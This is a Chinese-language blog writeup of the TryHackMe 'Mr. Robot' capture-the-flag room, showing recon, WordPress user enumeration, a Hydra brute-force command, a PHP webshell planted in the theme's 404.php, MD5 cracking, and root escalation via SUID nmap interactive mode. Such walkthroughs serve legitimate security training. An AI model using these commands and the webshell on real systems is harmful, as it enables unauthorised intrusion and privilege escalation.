> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Mr. Robot writeup (zh-TW)
- URL: https://taiwanding.com/tryhackme-mr-robot-writeup-zh-tw/
- Published: 2025-10-31T09:22:47.000Z
- Updated: 2026-07-15T02:50:08.000Z
- Author: Kevin Chen
- Tags: tryhackme, web

## 題目資訊

- 平台: TryHackMe
- 房間名稱: Mr. Robot
- 難度: Medium
- 目標: 收集三把 key
- 主題: Mr. Robot 影集主題
- 連結: [https://tryhackme.com/room/mrrobot](https://tryhackme.com/room/mrrobot?ref=taiwanding.com)

## 發現服務

```bash
rustscan -a 10.201.110.68 -b 2000 -t 2000 -- -A -sV -sC

```

- Port 22: SSH (OpenSSH 8.2p1 Ubuntu)
- Port 80: HTTP (Apache)
- Port 443: HTTPS (Apache)

### Step 1: 目錄枚舉&初步偵察

檢查 robots.txt：

```bash
curl http://10.201.110.68/robots.txt

```

重要發現：

- `key-1-of-3.txt` \- 第一把 key
- `fsocity.dic` \- 字典檔案（下載備用）

```bash
wget http://10.201.110.68/fsocity.dic

```

發現隱藏管理頁面和 WordPress：

```bash
gobuster dir -u http://10.201.110.68/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 5

/admin/index.html - ASCII art "YOU ARE NOT ALONE" 這其實就是首頁的樣子
/wp-login.php - WordPress 登入頁面
```

### Step 3: WordPress 偵察

使用 WPScan 掃描：

```bash
wpscan --url http://10.201.110.68

```

發現：

- WordPress 4.3.1 (Insecure, 2015-09-15)
- Theme: twentyfifteen 1.3
- XML-RPC 啟用

### Step 4: 枚舉 WordPress 用戶

清理字典檔（去除重複）：

```bash
sort fsocity.dic | uniq > fsocity_clean.dic

```

使用 Burp Suite Intruder 測試用戶名，觀察錯誤訊息差異：

- `Invalid username` \- 用戶不存在
- `The password you entered for...` \- 用戶存在

發現有效用戶名：`elliot`

### Step 5: 爆破 WordPress 密碼

使用 Burp Suite Intruder同樣用同一個字典fsocity\_clean.dic爆破密碼  
或也可以，使用 Hydra 爆破密碼：

```bash
hydra -l elliot -P fsocity_clean.dic 10.201.110.68 http-post-form \
"/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=incorrect" -t 30

```

成功憑證：

- 用戶名: `elliot`
- 密碼: `ER28-0652`

### Step 6: WordPress 後台植入 Webshell

登入 WordPress 後台，修改主題編輯器：

**Appearance → Editor → 404.php**

植入 PHP reverse shell：

```php
<?php echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; ?>

```

隨機到網站的一個頁面觸發404，好比aaa，詳細比如:

`http://10.201.110.68/aaa?cmd=ls`

`http://10.201.110.68/aaa?cmd=whoami`

成功取得 `www-data` shell

### Step 7: 發現第二把 Key

探索 /home/robot 目錄：

```bash
www-data@ip-10-201-110-68:~$ ls -la /home/robot
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

```

讀取 MD5 hash：

```bash
www-data@ip-10-201-110-68:~$ cat /home/robot/password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

```

### Step 8: 破解 MD5

直接在Google查詢這個hash  
破解結果：`abcdefghijklmnopqrstuvwxyz` (簡單密碼)

### Step 9: 切換到 robot 用戶

使用 SSH 登入：

```bash
ssh robot@10.201.110.68
# 密碼: [破解的明文密碼]

```

升級受限 shell：

```bash
/bin/bash

```

取得第二把 key：

```bash
robot@ip-10-201-110-68:~$ cat key-2-of-3.txt
Redacted

```

### Step 10: 提權到 Root

尋找 SUID 二進制文件：

```bash
find / -perm -4000 -type f 2>/dev/null

```

發現可疑項目：`/usr/local/bin/nmap`

### Step 11: Nmap SUID 提權

利用舊版 nmap 的 interactive 模式：

```bash
robot@ip-10-201-110-68:~$ nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
# whoami
root

```

取得第三把 key：

```bash
root@ip-10-201-110-68:/root# cat key-3-of-3.txt
Redacted

```

## 技術要點

### **字典檔去重**

  - fsocity.dic 含大量重複項，去重降至 11K 行
  - 大幅提升爆破效率

### **WordPress 錯誤訊息差異**

  - 利用登入錯誤訊息差異枚舉有效用戶名
  - 避免盲目爆破所有帳密組合

### **Theme Editor RCE**

  - WordPress 管理員可直接編輯主題 PHP 文件
  - 404.php 是常見注入點，訪問不存在頁面即可觸發

### **Nmap Interactive Mode 提權**

  - Nmap 3.81 版本支援 `--interactive` 模式
  - 若有 SUID 權限，可直接用 `!sh` 產生 root shell
  - 現代版本已移除此功能